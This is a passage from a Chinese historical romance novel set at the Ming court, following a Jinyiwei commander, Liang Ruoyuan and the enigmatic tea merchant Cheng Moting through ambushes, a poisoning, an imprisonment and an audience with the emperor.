一只修长的手挑起了茶寮门口的青布帘子,来人一袭靛蓝长衫,手持青竹伞,伞沿雨水滴落,在他脚边溅起一朵朵水花。 “哎呀……好热闹。”程墨亭声音依旧温润,眼角刚愈的伤疤在昏暗的光线下尤其显眼,“梁姑娘,聂大人,别来无恙。” 茶寮内空气凝固,这人竟没死?! 梁若鸢手中刀锋偏转,聂未晨不动声色地侧身,将她半掩在身后。 “程老板。”梁若鸢冷声道,“阴魂不散这个词,就是为你造的?” 程墨亭不以为忤,从容收伞,抖落一地水珠:“梁姑娘还是这么伶牙俐齿。”他目光扫过聂未晨护着她的姿势,眼中闪过一丝晦暗,“婚期将近?恭喜啊。” 聂未晨嗤笑一声:“程老板消息灵通,连我夫妻二人的私事都了如指掌。”他故意将“夫妻”二字咬得极重,手指在梁若鸢腰间轻轻一捏,梁若鸢眉间一蹙,一巴掌拍开。 程墨亭自顾自坐下,取出手帕擦手:“聂大人不必紧张,我今日来,是送礼的。”他从怀中取出一个锦囊推至桌心,“户部左侍郎赵世安与宁王的密信原件,还有官银流向记录,是誊抄出来的精要,原本甚多,我已派人潜送回京了。” 聂未晨刀尖挑开锦囊,确认后取出里面的铜钥匙和纸条。 “条件?”梁若鸢警惕道。 程墨亭凝视她片刻,目光直逼她双眼,只手从腰间解下一枚火流星玉佩:“物归原主。”他视线落在她腰间黑莲玺花心空缺处,轻声道,“这是黑莲玺的一部分。” 聂未晨按住他的手:“程老板这是唱的哪一出?”他冷笑道,“前脚围剿我们,后脚又来送大礼?” 程墨亭不答,取了扇子展开,边摇边看向梁若鸢:“梁姑娘可知道我为何总是独爱黑莲?……因为它代表着……” “复仇与新生。”梁若鸢冷冷接话,“程老板现在是要新生了?” 角落里,燕十和张五悄悄挪到门边,一个盯着窗外,一个手按刀柄,随时准备应对突发状况。 “比我想的有趣。”张五小声嘀咕,“三角戏码?” 燕十翻了个白眼:“我家大人会把他剁成三角。” 程墨亭忽然起身,吓得两人拔刀半寸,而他只是走到梁若鸢身边,俯身在她耳边低语了一句,聂未晨的刀瞬间横在他颈间。 “程老板是当我死了?”聂未晨眼中杀意凛然,“还是觉得我的刀不够快?” 程墨亭微微一笑,不慌不忙,直起身来:“聂大人误会了,我只是告诉梁姑娘一个秘密。”他看向窗外,“比如……曹玉的人已经到了。” 茶寮外马蹄声迭起,至少有二十缇骑将小小茶寮团团围住。 “后门。”程墨亭从怀里取出一封油纸包好的信塞在梁若鸢手里,“御前司的布防图,你们用得着。” 聂未晨一把拉过梁若鸢:“走!” 程墨亭抓住了梁若鸢另一只手,塞给她一个小瓷瓶:“解药,你臂上的毒不能再拖了。” 梁若鸢怔了怔,还未开口,聂未晨已劈手夺过瓷瓶,他打开闻了一下,确认无毒后塞进她怀里:“夫人,再不走就要给为夫守寡了。” “谁要给谁守寡还不一定呢。”梁若鸢白他一眼,跟着他奔向后门撤离。 程墨亭站在原地,看着两人的背影,忽然提高了声音:“梁姑娘,瘦西湖的柳树又抽新枝了。” 梁若鸢脚步一顿,没有回头,聂未晨恶狠狠地瞪了程墨亭一眼,手臂环在她腰上:“看路,夫人。” 他揽着她冲出柴门,听见茶寮里程墨亭的声音依旧温润坦然:“高公公?什么风把您吹来了?喝杯茶再走吧,上好的龙井……” 燕十牵了马来,促狭着眨了眨眼:“大人,梁小姐,咱们是不是打扰了什么好事?” 张五捋着另外两匹马的鬃毛,从燕十身后探着身子张望…… 聂未晨冷冷剜他:“闭嘴,上马。” 四骑白马冲入稀薄的雨幕中,身后茶寮传来打斗声,燕十回头看了眼,咂舌道:“程老板这是唱的苦肉计?” 张五嘿嘿一笑:“我看是美人计未遂。” 聂未晨转头瞥见梁若鸢正望着茶寮方向出神,霎时心头火起,策马靠近,弃了自己的马落在她身后,一把扣住她后颈,在疾驰的马背上狠狠吻住了她。 “聂未晨!你疯……”梁若鸢的惊呼被他发狠般堵在唇间。 燕十和张五同时别过脸去,一个望天一个看地。 “二两银子,归我了。”张五小声嘀咕。 燕十叹气:“大人这是醋缸子打翻了……” 细雨渐密,四骑白马在官道上疾驰,溅起泥水如墨花绽放,梁若鸢后背紧贴着聂未晨胸口,感觉到他急促的心跳和灼热的呼吸。 “看路!”聂未晨低吼道,手臂环得更紧了些,想要将她揉进骨血里,方才那个带着怒意的吻还残留在唇上,梁若鸢咬破的地方在雨水中一丝丝刺痛。 梁若鸢挣了挣:“松手,你这样我怎么控马?” “我替你控。”聂未晨带着不容置疑的态度,一手扯过缰绳,另一手死死扣在她腰间,“怎么,还想着茶寮里那位程老板?” 梁若鸢没有回答,瘦西湖的柳树又抽新枝了……程墨亭的话像一根刺,扎在她心底某个角落里。 小时候的记忆如潮水般涌来,那个总是躲在暗处的瘦弱少年,竟与今日茶寮中那个眼角带疤的程老板重叠在了一起。 “影子……”她无意识地喃喃出声。 聂未晨身体一僵:“什么?” “没什么。”梁若鸢回过神来,从怀中摸出程墨亭塞给她的瓷瓶,“他说这是解药。” 聂未晨冷哼一声:“谁知道是不是毒药。”话虽如此,他却拉缓了马,对燕十喊道,“找个隐蔽处休整,先看看梁小姐的伤。” 张五指向前方一处密林:“那边有个猎户木屋,我去年帮村民追山贼时发现的。” 他说着便驱马领路,密林中,木屋破旧发霉,但足以遮风避雨。 梁若鸢刚下马,聂未晨便不由分说地拽过她的左臂,卷起袖子,寸长的伤口已然泛青。 “很疼对不对?为什么不告诉我?”聂未晨声音发颤,眼角泛起血色,怒火和心疼在他眼中交织。 梁若鸢蹙眉看着自己的伤口:“我以为只是擦伤了还没好。” 聂未晨夺过瓷瓶,自己尝了一小口,片刻后确认无毒,才小心翼翼喂给她。 药液苦涩,梁若鸢皱眉咽下,注意到瓶底一朵小小的黑莲,与程墨亭今日归还的火流星玉佩上的纹路一模一样。 “大人!”燕十从门外匆匆进来,“追兵分三路包抄过来了,领头的是高顺那狗腿子。” 聂未晨迅速起身:“走,改道青峰峡。” 梁若鸢站在原地,手指摩挲着瓷瓶:“程墨亭……他为什么要帮我们?” “管他什么目的,”聂未晨一把拉过她,“现在逃命要紧。” 四人刚出木屋,马蹄声已清晰可闻,聂未晨喝令道:“分头走,燕十,你带张五走东边山道,我和梁小姐往西,三日后通州汇合。” 燕十欲言又止,看了梁若鸢一眼,抱拳道:“大人保重。” 雨势渐大,聂未晨与梁若鸢共乘一骑,山路泥泞难行,梁若鸢能感觉到他的体温和心跳,腕上血纹一阵阵痉挛,她意识到他在生气。 “你在想他。”聂未晨忽然开口,声音低沉,几乎没在雨声里。 梁若鸢摇头,却没有否认:“程墨亭……我可能认识他。” 聂未晨的手臂一紧:“什么时候的事?” “小时候,苏州。”梁若鸢闭上眼睛,任由浅淡的记忆在脑海中浮现,“那时我爹刚升任通判,家里常有不速之客,有个瘦弱的少年总是躲在暗处……我抓到他几次,他从不说话,我靠近,他就跑……我爹被押走那晚,我也看见了他,他躲在门外,那官兵把我拖出去,他就跑了……” “你确定是他?” “不确定。”梁若鸢摇头,“但那他有一次救了我,那时我不知白莲教的人为什么追我,是他偷偷给我递消息,还在我逃跑时引开了追兵,后来……我再没见过他……” 聂未晨沉默良久:“所以……黑莲玺……之所以会变成白莲教圣物……” 梁若鸢点头:“他可能一直在找……而且……在地下武库时,黑莲玺是他找到的,我好像没来得及……” 聂未晨忽然勒住马,翻身而下,在雨中抬头直视她:“梁若鸢,你给我听好,不管程墨亭是你儿时的救命恩人还是什么……影子?总而言之……他现在是御前司的人,是我们的敌人。” 梁若鸢有些愕然,迎上他的目光,又蹙眉躲开:“我知道轻重。” “你知道?”聂未晨冷笑一声,“那为什么他给你解药你就敢喝?他说瘦西湖柳树抽新枝你就心神不宁?他靠近你耳边说话你都不躲?” 他一口气说了一通,梁若鸢听得愣住,与他对视了片刻,翻下马来,眸中迷惘忽然散尽,伸手揪住他的衣领,将他拽到与自己平视的高度,雨滴顺着她的睫毛滴落。 “聂大人这是……在吃醋?”她拇指重重擦过他唇上渗血的伤口,听到他倒吸一口凉气,轻轻一笑,“朝廷鹰犬的威风呢?” 聂未晨扣住她手将她反压在一旁树干上,树皮潮湿粗糙,硌得她后背生疼。 他鼻尖几乎贴上她,呼吸间带着药草的苦涩:“梁小姐不妨试试,我还能更威风些。” 追兵呼哨声至,梁若鸢抬膝顶向他,他早有预料般用腿压开。 她嗤笑一声,另一只手探入他怀中,摸出那枚铜钥匙抵在他喉结上:“威风凛凛的聂大人,连定情信物都要偷我的?” 钥匙冰凉,而她指尖却烫人,聂未晨喉结动了动,低头叼住她耳垂,齿尖不轻不重地磨着:“夫人错了,这才是定情信物。”他空着的手解开了自己的衣领,露出锁骨处结痂的齿痕,“昨夜在客栈里某人留下的,验验齿痕?” 梁若鸢猛地推开他,三支弩箭钉在他们方才站的位置。 聂未晨揽过她滚进灌木丛里,指尖不知何时已夹了三枚柳叶镖。 “十丈,七人。”他嘴唇贴着她耳边轻语,湿热气息烫得她耳尖发红,“梁小姐,比比?” 梁若鸢拔了他腰间佩刀,寒光映亮她含笑的双眼:“赌什么?” 聂未晨手中银镖已出手,惨叫声传来,他咬住了她握刀的手腕:“我赢了,今晚……你主动。” “想得美!”梁若鸢将他推开,旋身劈落两支冷箭,刀锋划出半月弧光,她踹翻一名缇骑,夺过对方长弓,三箭连发,射穿树丛后的弩手。 她转身拔刀,缇骑的血珠溅上她的脸颊,聂未晨徒手拧断了最后一名追兵脖子。 “五比二。” 他在转身一瞬惊住,梁若鸢刀尖挑着他束发的银冠。 “六比二。”她刀锋一转,发冠稳稳落在掌心里,“聂大人,你输了。” 聂未晨大步走近,抓住她持刀的手往自己心口按,刀尖刺破了衣料,梁若鸢指尖一颤。 他带着她的手继续往里送,眼中翻涌着她从未见过的怒色:“往这儿扎,梁若鸢。”他声音哑得不成样子,眼底红透,“看看能不能挖出你那个影子。” 梁若鸢猛地撤刀,反手一巴掌扇在他脸上,声音惊飞林间宿鸟。 聂未晨偏着头,舔了舔嘴角血丝,笑起来。 “心疼了?”他夺下刀,攥住她发颤的手按在自己胸膛,心跳穿透了衣料,“梁若鸢,你什么都不知道。” 马蹄声再次逼近,梁若鸢挣开他,翻身上马,却在俯身捞他时被他一把拽下来。 聂未晨将她抱进怀里,扣着她的后颈吻住她,血味凶得似在搏命,她猛地咬破了他的舌头。 “你是疯狗吗?”她喘着气埋怨,唇上沾着他的血。 聂未晨指尖抹过她的唇角,眼底燃着骇人的光:“是啊,所以你别喂别的狗。” 他忽然扯开她左肩衣物,在一处旧伤旁重重咬下去,听到她抽气声,才松口,“再盖个章,省得有人不长眼。” 梁若鸢疼得恼火,揪着他的头发将他扯起来,对着他脖子也咬了一口,满意地看着血珠渗出来:“礼尚往来。” 暴雨倾盆而下,聂未晨抱起她,推上马背,她刚要挣扎,他已上马将她箍进怀里,附耳道:“别动,你手臂流血了……”他语气温柔得与方才判若两人,一只手臂却勒得她肋骨生疼,“再乱动就把你绑起来。” “试试看啊。”她 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“等这事了结。”他抵着她额头喘息,“我要在梁家祠堂拜天地,在你苏州旧宅洞房。”他指腹摩挲着她颈侧脉搏,“我会让全天下都知道,你梁若鸢的丈夫是谁。” 雨水顺着山路流淌,梁若鸢忽然抓住他握缰的手臂向下一压,马匹嘶鸣着转向,三支弩箭擦过聂未晨扬起的发梢飞过。 聂未晨冷哼一声:“四个。”他俯身把脸贴在她耳边,“梁小姐可要抓紧了。” 梁若鸢眉一蹙,用力从他怀里挣脱,跃起踩上了马鞍,借力腾空,绣春刀在她手中挥出一声鸣响,树上两名弩手应声坠落。 她轻盈落下,聂未晨一把将她接住,重新抱回马鞍前。 “六个。”她喘了口气,挑衅回头,雨水顺着她脸侧滑落,“指挥使大人,再顾着吃飞醋……今晚你就睡地上。” 聂未晨目中有光沉落,忽然勒马停在一处陡坡前,将她横抱下马,不由分说,在她挣扎前低声警告:“别动,下面有猎户山洞。” 陡坡下方隐约可见一处洞口,聂未晨抱着她滑下陡坡,泥水溅了他满身,他将她护得严严实实,连裙角都没沾上一点。 山洞阴冷潮湿,但总算避开了暴雨,他将她轻轻放下,转身去洞口布置警戒机关。 梁若鸢借着微弱的一点光线,打量着这个临时的避难之处,几捆干柴,生锈的铁锅,角落里还有半坛发霉的腌菜。 “看来真住过人。”她轻声道,伸手去捡爬满蛛网的旧柴,忽然倒吸一口冷气,臂上的伤口又渗出了血。 聂未晨猛地转身,几步便到了她面前,不由分说地撕开她湿透的衣袖,毒箭擦出的伤口周围泛着不正常的青紫色。 “这就是梁小姐的擦伤?”他声音沉得可怕,手指小心翼翼地检查伤处,“再晚半天,毒就入心了。” 他将她牢牢扣住,从怀中取出程墨亭给的那个瓷瓶,倒出最后一滴药液,轻轻涂在伤口周围,药液接触伤口的瞬间,梁若鸢咬紧了下唇,额角渗出细汗,整个手臂都在抖。 “疼就叫出来。”聂未晨另一只手不知何时已垫在她脑后,防着她撞上一旁石壁。 “不……不是很疼。”她倔强道。 药效发作的一瞬,她无意识地抓紧了他的衣襟。 聂未晨眸色一暗,低头咬上了她的伤口,一点点轻轻吮吸,梁若鸢浑身一僵,酥麻感从伤口爬到了身上。 “你……” “别动。”他含混道,吐出一口黑血,“是毒血没吸干净。” 梁若鸢不再挣扎,任由他处理伤口,洞外雨声渐大,两人的呼吸声似织在雨里。 直至雨声渐渐淡去,聂未晨嘴唇从她手臂移开,随手抹了唇边的血迹,眼神落在她腰间的黑莲玺上,那枚火流星玉佩她已嵌了回去,黑莲玺印如今完整如初。 “物归原主……”他冷笑一声,伸手环过她的腰,将她拉近,“梁小姐和程老板……情深义重?” 梁若鸢伸手扯开他的衣领,露出她方才留下的齿痕,指尖碰了碰,蹙眉埋怨:“怎么还在吃醋?” 聂未晨不答,猛地将她按在石壁上,鼻尖几乎贴上她的:“瘦西湖的柳树又抽新枝了……多美的情话啊。”他声音里带着压抑的怒火,“梁小姐解释解释,这是什么意思?” 梁若鸢笑起来,指尖轻轻描摹着他身上伤痕,轻声道:“你想知道?” 不等他回答,她忽然发力,两人位置颠倒,她将他反压在石壁上。 聂未晨惊讶于她这力道,故意不做反抗,只看着她,眼中带着挑衅。 “苏州瘦西湖畔。”梁若鸢贴近他耳边,“有个少年曾躲在柳树后,偷看梁家小姐放纸鸢。” 聂未晨浑身一僵。 “纸鸢断了线,落在湖心亭,少年冒险去捡,家丁发现了,打得半死。”她继续道,手指穿入他湿透的头发里,“梁小姐偷偷给他送了药和吃食……放在柳树下。” 一道闪电劈过,映亮聂未晨骤然变色的脸。 “那是程墨亭?” 梁若鸢点头,踮脚在他唇上啄了一下:“现在可以继续吃醋了。” 聂未晨眸色骤深,洞外传来杂乱的脚步声,金属碰撞声掺杂其中,两人警觉分开,聂未晨轻声走到洞口缝隙处查看。 “是曹玉的人。”他低声道,回头示意梁若鸢隐蔽,“至少二十人,带着猎狗。” 梁若鸢皱了眉,从怀中取出程墨亭给的那封信:“布防图……他为什么要帮我们?” 聂未晨夺过信纸,在微弱光线下扫过一眼,脸色愈加凝重:“这不是普通的布防图……这是御前司的暗桩名单和联络方式。”他猛地抬头,“程墨亭这是……要叛出御前司?” 洞外传来猎狗吠声,聂未晨将她推到最里面的角落里,自己挡在她身前。 “听好了……”他背对她,平静道,“待会我引开他们,你从后山小路走,去通州找燕十。” 梁若鸢一把扯住他后领:“聂未晨,你当我是什么需要保护的闺阁小姐?”她硬是扳过他的脸,“要么一起走,要么一起杀出去。” 聂未晨在黑暗中凝视她,片刻,低笑出声:“梁小姐这是……舍不得为夫?” “少自作多情。”她松开手,他抓住了她。 “那就证明给我看……证明程墨亭在你心里,什么都不是。” 梁若鸢贴近他耳边,轻声道:“大人想要怎么证明?” 洞外,脚步声越来越近,猎犬吠叫声几乎就在耳边,聂未晨看着她,从腰间摸出一枚铜钱,一分为二。 “古有分镜之盟,今有分钱之约。”他将半枚铜钱塞进她手里心,“梁若鸢,今日若不死,明日我要你穿着嫁衣,在苏州梁家旧宅,亲手将这半枚铜钱还我。” 梁若鸢将铜钱一把握紧,拽过他的衣领,狠狠吻了上去,“聂未晨,你给我听好了。”她喘息道,“我梁若鸢要嫁的人,必须能与我并肩而战,不是躲在背后吃飞醋的懦夫。” 聂未晨笑出声来,笑声惊动了洞外追兵,他抄起刀来:“那就让为夫看看,梁小姐的刀,是不是和嘴一样利。” 追兵将洞口伪装猛地掀开,火把光亮燃起,梁若鸢与聂未晨并肩站立,刀刃在火光下闪动。 “记住了,”聂未晨低声道,“我若倒下,你不准回头。” 30. 一线生机 绣春刀将雨幕劈成无数光点,他将梁若鸢一把拽向身后。 程墨亭悄然出现在洞口一侧,青竹伞骨弹出三寸钢刃,挑开数支射向梁若鸢的弩箭。 “走!” 他将梁若鸢一掌推向山壁裂缝,聂未晨回头大惊:“程墨亭!” 一道寒光闪过,聂未晨后肩痛麻,浑身失了力,跪倒在地。 梁若鸢挣扎着要回去,程墨亭将她后颈死死掐住,一把将她转了过来:“梁姑娘若想他活命,就乖乖跟我走。”他指尖银针一扫,冲过来的番子纷纷倒下,“东厂的化骨散,除了我,无人能解。” 聂未晨跪在泥水中,满脸血污,他死死盯着程墨亭按在梁若鸢腰间的手,猛地转身撞向高顺。 程墨亭袖中飞出一道银链,缠住了聂未晨的手,将他拉住,半枚铜钱从他怀中飞出,银链回收一击,铜钱落在梁若鸢脚边。 “捡起来!程墨亭在她耳边厉喝,“想想你父亲是怎么死的!” 梁若鸢浑身一寒,十四年前父亲被押走的夜晚,白绫勒断了她母亲的脖子…… 山崖忽然爆炸,程墨亭趁机揽住她腰身跃入暗河,河水刺骨,淹没头顶,她最后看见高顺用铁链将聂未晨拖走……在水中,腕上蛊纹抽痛,水流中依然听见数只猎犬不断吠叫。 三个月后……京城。 梁若鸢摸了摸人皮面具,铜镜里映出个小太监模样,诏狱的景象时不时在她脑中浮现,腕上血纹一丝丝刺痛,似虫蚁啃噬,一点一滴钻进血肉里。 程墨亭给她的宫灯爆出几朵焰火,照亮了她手中密信,今夜子时,瓦剌使团将持伪造的勘合潜入武库。 “程老板好手段。”她把密信点燃,丢进了茶杯里。 父亲当年查获的白莲教密信,记录的正是御前司与瓦剌的走私路线,程墨亭作为前教主之子,亲眼目睹了梁渝将程砚之杀害,一剑封喉。 “梁姑娘。”程墨亭今日穿着御马监少监的服制,眼角伤疤已然消退,“聂大人关在诏狱最底层,曹玉每日亲自‘照料’。” 梁若鸢指甲掐进了掌心,程墨亭在逼她做选择:要么现在去救聂未晨,要么按计划截获瓦剌与东厂勾结的证据,与她一起报仇雪恨…… “对了。”程墨亭贴近她耳畔,“曹公公那天看见我,让我带句话……说瘦西湖的柳树发了新芽,可惜......”他故意停顿,“看不到穿嫁衣的姑娘了。” 梁若鸢拔出发簪抵在他喉前:“你究竟想要什么?” 程墨亭不躲,任簪尖在他颈上划开一道血线:“我要……看你们不得安宁。”他笑起来,抓住她的手按在自己心口,“你父亲杀了我父亲,但我知道,他是被人骗了,真正偷运官银的,是那位香主,我已经杀了他,现在……就剩这些了,所有害死我父亲的……都跑不掉。” 梁若鸢趁机变招,踩在他胸口凌空翻转,趁他混乱之际破窗而出,宫灯落地,烧成一团,她染血的衣摆在光的边缘隐去。 豹房中,案几上是翻开的戏本、散乱的骰子、半壶冷掉的酒,一把镶金嵌玉的短弩,箭矢歪歪斜斜插在靶上,朱厚照玩到一半,失了兴致。 梁若鸢从窗上翻进屋里,跪地一拜:“陛下,宁王党羽已服诛,但还有真正的黑手藏在朝中,锦衣卫指挥使如今被曹公公囚禁,陛下就不觉得是有蹊跷?” 外面侍卫询问,朱厚照双眼一亮:“朕这里没事,你们去别的地方好好找找!”他听着侍卫离开,往前一步,歪下头去看她,饶有兴致,“你是……?” “臣女苏州通判梁渝之女。” 朱厚照目光一停:“梁小姐……你的丰功伟绩,朕可是有所耳闻……”他拿起一身戏服看了看,“聂卿为了梁小姐也算是为人所不能为……只是……”他抬眸转向梁若鸢,“朕为了朝纲安稳,也要做些人所不能为之事,你可明白?” 梁若鸢额心叩地:“陛下,臣女一介贼人怎能与朝纲相比,只是聂大人为朝廷所做,定不比为臣女所做的少,望陛下三思,若有人趁此机会断了陛下这条臂膀,如何了得?” 朱厚照挑眉看她,忽然一笑:“你就不怕朕让你以命换命?” 梁若鸢的目光落在朱厚照脚下金砖映出的影子上,笃定道:“陛下明鉴,臣女命如草芥,不值一提,可聂大人……是唯一一颗绝不会背叛陛下的棋。” 戏服落在戏箱里,朱厚照目中空了一瞬,眨眼摸出一块龙纹金牌,扔在梁若鸢面前,高声道:“传旨!宣……聂未晨觐见。” 半个时辰,梁若鸢静静站在豹房里,朱厚照一面吃着糕点,一面打量她。 聂未晨手脚拖着锁链踏入豹房,身上衣物明显是新换的,不合身,他跪得笔挺,指尖却明显在颤,抬眼看见梁若鸢的一瞬,他整个僵住:“这位是……” 他忘了拜见,只跪在那里,朱厚照在龙案上叩了三下:“聂卿,你找妹妹,何必急在一时?逃婚做什么?还要曹总管亲自问你,害得蓝佥事也连着受罚,陈小姐可是独守空房三月有余啊。“ 聂未晨闻言一拜:“陛下恕罪,是臣思虑不周。” 朱厚照拿起案上一卷画轴,展开正是他库房瓷瓶中那副无脸女像,只是如今有了脸面,赫然就是梁若鸢的模样。 “你看看,这不是你呈上来的寻人告示里走散的妹妹么?” 聂未晨额角青筋跳动:“是,陛下圣明,确是微臣失散的妹妹。” “你们也是巧了。”朱厚照踱到梁若鸢身边,手中图轴卷起,指了指她锁骨上牙印的位置,“连胎记都差不多在一个地方。” 聂未晨呼吸一滞,皇帝怎会连这都知道,梁若鸢自己说的? 朱厚照的目光在两人之间来回端详,后垂眸笑道:“聂大人带你妹妹回去吧,下不为例,收拾收拾家务事,还有很多事情要你办呢。” “臣遵旨。”聂未晨叩拜后起身,眼神示意梁若鸢跟上,转身走出豹房。 曹玉在门外等候,见两人一同出来,细眼带笑,嘴角的弧度意味深长,手中拂尘一甩,音色阴柔:“聂大人,恭喜兄妹团聚啊。” 聂未晨将梁若鸢往身后挡了挡,用力在克制着双手颤动,冷冷看他:“多谢……曹公公挂念。” 曹玉目光在梁若鸢身上停留一瞬,毫不掩饰笑意里的狡诈:“令妹倒是生得标致,难怪聂大人不惜抗旨逃婚也要寻她。” 梁若鸢低眉顺眼,扮作一副怯生生的模样,聂未晨虚虚扶住她紧绷的手臂,平静道:“舍妹自幼体弱,又受了惊吓,臣先带她回府休养。” “是该好好养着。”他上下打量了聂未晨一眼,哂笑道,“毕竟,锦衣卫指挥使的妹妹,可不能出半点差错。” 豹房檐角下,西域进贡的琉璃风铃叮咚碎响,房内丝竹声响起,教坊司的乐伎从暗门入内,聂未晨眸色微冷,不与他多言,拉紧梁若鸢大步离开。 值夜太监垂首立在阴影里,呼吸极轻,太液池泛起细碎光点,曹玉的人提着灯笼走过夹道,影子落在宫墙上,形似鬼魅。 聂未晨每一步都似踩在刀尖上,鞭伤从后肩蔓延至腰际,血痂黏着不合身的里衣,随着走路的动作撕开细小的裂口,他下颌绑紧,只手攥着梁若鸢的手腕,拇指死死按在她的脉搏上,似是钳制,却是借着她脉上的温热稳住自己摇摇欲坠的神智。 宫道上,青砖沁着夜露,倒映出两人交叠的影子,梁若鸢嗅到了血的味道,从他身上飘来,玄色飞鱼服暗纹里泛起了红光,不明显,但不久,便在他肘弯凝成一道细流,顺着他的指尖滴在地上。 她挣了一下,他用力将她拉住:“别停下,快走。”声音似含着血气,“曹玉的人在角楼上盯着……” 西华门的灯笼摇摇晃晃,光影落在他们身上明灭不定,聂未晨的呼吸开始发沉,跨出门外是他踉跄了半步,靴尖在砖缝里蹭出一道血痕…… 梁若鸢一把抓住他的手腕:“撑住。” 他唇色发白,低笑道:“妹妹这是在心疼哥哥?” 门外站了几个守门的锦衣卫,一个个抱拳行礼,目光狐疑着扫向他们交握的手。 他将她拉近身前,一只手揽在她肩上,衣袖遮住她半张脸,佯装低头说话,身体的重量几乎都压在了她身上。 梁若鸢听见了他齿缝里漏出的喘息,温度烫人。 “聂大人慢走。”一个锦衣卫递来灯笼,火光映亮他颈侧一道鞭伤,结痂外翻着鲜红的血肉。 梁若鸢伸手接过灯笼,动作令聂未晨肌肉瞬间绷紧,宫门在他们身后轰然闭合,攒钉冷光华美,他忽然松开她,扶着巷口的栓马石呕出一口血来。 他将唇边血迹抹去,抬眼扫过四周,拉她站在阴影里,巷尾传来猎犬的呜咽声……他扯下她束发的缎带,缠住自己渗血的手,重新拉起她:“现在……跑。” 猎犬的吠叫渐渐逼近,梁若鸢反手拉住他,拽着他拐进一条暗巷,他掌心滚烫,血浸透了缎带,她手中一片黏腻。 “坚持一下……”她轻声说着,一只手将他的脸托起,令他看着自己,“燕十和张五应该会来的,他们没等到我们,算着日子,应已到京城了才对。” 聂未晨看着她的眼睛,无力一笑:“你倒是信他们……” “燕十怕我杀了你,信不信?”她猛地将他往墙上推,自己挡在他身前,巷口火光晃过,几个东厂番子提着灯笼逼近,伴着狗的喘息声,以及它们鼻尖蹭在沙石地上的声音。 高顺阴笑的声音传来:“聂大人这是要去哪里?回府的路可不在此处……” 梁若鸢袖中寒光一闪,一枚铜钱擦过高顺的脸卡进了他身后一方土墙。 他脸色骤变,就要拔刀,附近房顶传来瓦片声响,一只黑狗从天而降,扑倒了最前面的番子,两道墨黑的身影从屋檐上翻下来,燕十架刀横在高顺颈前,张五笑嘻嘻蹲在墙角:“指挥使大人,路上喝了口茶,来迟了,不好意思啊!” 聂未晨啐出一口血,直起身来:“回去领罚。” “不是大人,卑职路上听说您抗旨逃婚这事儿被曹玉抓起来了,”燕十将刀刃往高顺喉咙里压下去,回头抱怨起来,“这不是想着办法嘛,跑得快没用啊,早点儿回来也喝不到喜酒不是?” 高顺趁机想逃,张五甩手一枚石子打在他膝窝里,看着他双手撑地,跪了个结实。 “这位公公……”他站起来,抬脚踩在他背上,“回去告诉曹玉,锦衣卫办事,不需要跟东厂交代。” 聂未晨眼前浮出重影,往前一步便要跪下去,梁若鸢扶住他,触手一片湿热,他后腰处有伤口裂开。 “走。”她将他架起,往巷子深处去。 燕十利目扫过几个东厂番子,提刀警告,张五抱起黑狗,跟在两人身后。 大功坊民宅屋檐低矮交错,梁若鸢架着聂未晨拐进一条窄巷,巷尾第三户门楣上系着半截红布,那是她与坊中百姓约定的暗号。 她叩响木门,两长三短,门缝里探出个扎羊角辫的小丫头,圆眼一亮:“乔姐姐!”随即她看见浑身是血的聂未晨,吓得捂了嘴,“北镇抚司的阎王爷……” “嘘……”梁若鸢摸出块麦芽糖塞给她,“去叫孙婆婆。” 屋内很快传来杂乱的脚步声,几个粗布短打的糙汉子抄着擀面杖、锄头、铲子冲出来,却在看见聂未晨的飞鱼服时齐齐后退。 孙婆婆满面皱纹,拐杖拨开人群,往地上一杵:“都愣着干什么?!救人!” 几个糙汉将聂未晨抬进了厢房,把他放在了竹榻上,梁若鸢撕开他后背的里衣,围观的百姓齐齐吸了口气,几乎同时屏住了呼吸。 纵横交错的鞭伤之间,三道伤口泛着黑色,渗出紫色的血…… “化骨散……”孙婆婆沾了药的手停在半空:“这毒……老婆子只在二十年前的白莲教见过……” 燕十推门而入:“东厂的人都过来了。” 聂未晨强撑着起身:“回府,不能连累这些人,曹玉的狗饿了太久,饥不择食……” 梁若鸢将他按住,冷声道:“你们护送百姓从地窖里走,这里不能留人了,把他们送上……回往扬州的商船。” 聂未晨眸中一寒,门外灯笼忽然熄灭,东厂番子踹开了院门,梁若鸢将燕十推向地窖入口:“快走。”她冲出门外,手中攥了一把铜钱。 “公公夜闯民宅,”她指尖一弹,铜钱在高顺脚边钉了半圈,“是要搜脏……还是索命呢?” 暗处忽然传来机括响声,数十支竹箭从四面八方射来,番子们慌忙躲避,聂未晨从窗口翻出,绣春刀架在高顺颈前:“曹玉没有告诉你……”那刀锋在他颈上压出一道血线,“锦衣卫的暗桩,动不得?” 门外火把亮起,蓝羽带着锦衣卫将院子团团围住,张五和陈白瓷站在他身侧,陈白瓷笑意嫣然:“夫君,妾身奉旨前来,来接 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蓝羽淡淡挑眉,轻轻一挥手,几支铁箭发出短促的尖鸣,东厂番子应声倒下,高顺肩胛中箭,踉跄跌跪。 “我家大人只为回府,此乃陛下亲准,高百户若在纠缠,曹玉其实也不算什么东西……”蓝羽刀尖指向他,“他敢抗旨不成?” 高顺跪地不起,眸中狠毒,四肢却未敢擅动,锦衣卫将聂未晨等人围在中间,脚步声和马蹄声混杂着兵刃寒响,往聂府方向渐行渐远。 燕十偷偷带着百姓从大功坊地窖潜出,沿着暗渠边的窄路直奔码头:“你们先前便帮过我们,如今东厂换了人,若知晓此事,定不会善罢甘休……” 程墨亭一袭蓝衣飘落在商船上:“所以跟我走,我来安顿你们。” 燕十带头停下,程墨亭衣袂飘飘,两人对望片刻,燕十拦住身后百姓的手一点点放下。 桅杆下,商船“老板”青衫冷面,目光扫过众人,嗓音沙哑低沉:“走吧,我家的船,无人敢查。” 民宅一带燃起了大火,红光与武库方向的火光相映衬,城中隐约传来“走水”的喊声。 燕十抱拳道了声谢,早前收留过他的张大哥狐疑着挤上前来:“大人,这……可信?” “程老板是扬州最大的茶商,乔姑娘既让你们随他去,定是没错的。” 燕十蹙眉说着,看向漆黑的官船,却见程墨亭扇面黑莲隐现,一时又没了底。 程墨亭摇了摇扇子,忽然停了动作:“你们多多少少也拿了某些人的银子,再不走,就要死在这里了,不如跟了我的船,搏一线生机?” 张大哥回望一眼漫天的火光,咬牙道:“走!” 百姓皆往穿上走,程墨亭一侧唇角勾起,与桅杆下的人对了眼色,转身掠向燃烧的武库。 聂府主屋软塌上,梁若鸢将聂未晨身上不合身的飞鱼服解下后扔了出去:“敢在诏狱里动阎王爷,曹玉活腻了。” 聂未晨后背鞭伤遍布,三道泛黑的伤口有紫黑毒血不断渗出。 “化骨散……”梁若鸢回到榻前,接过张五端来的水,眉心拧紧。 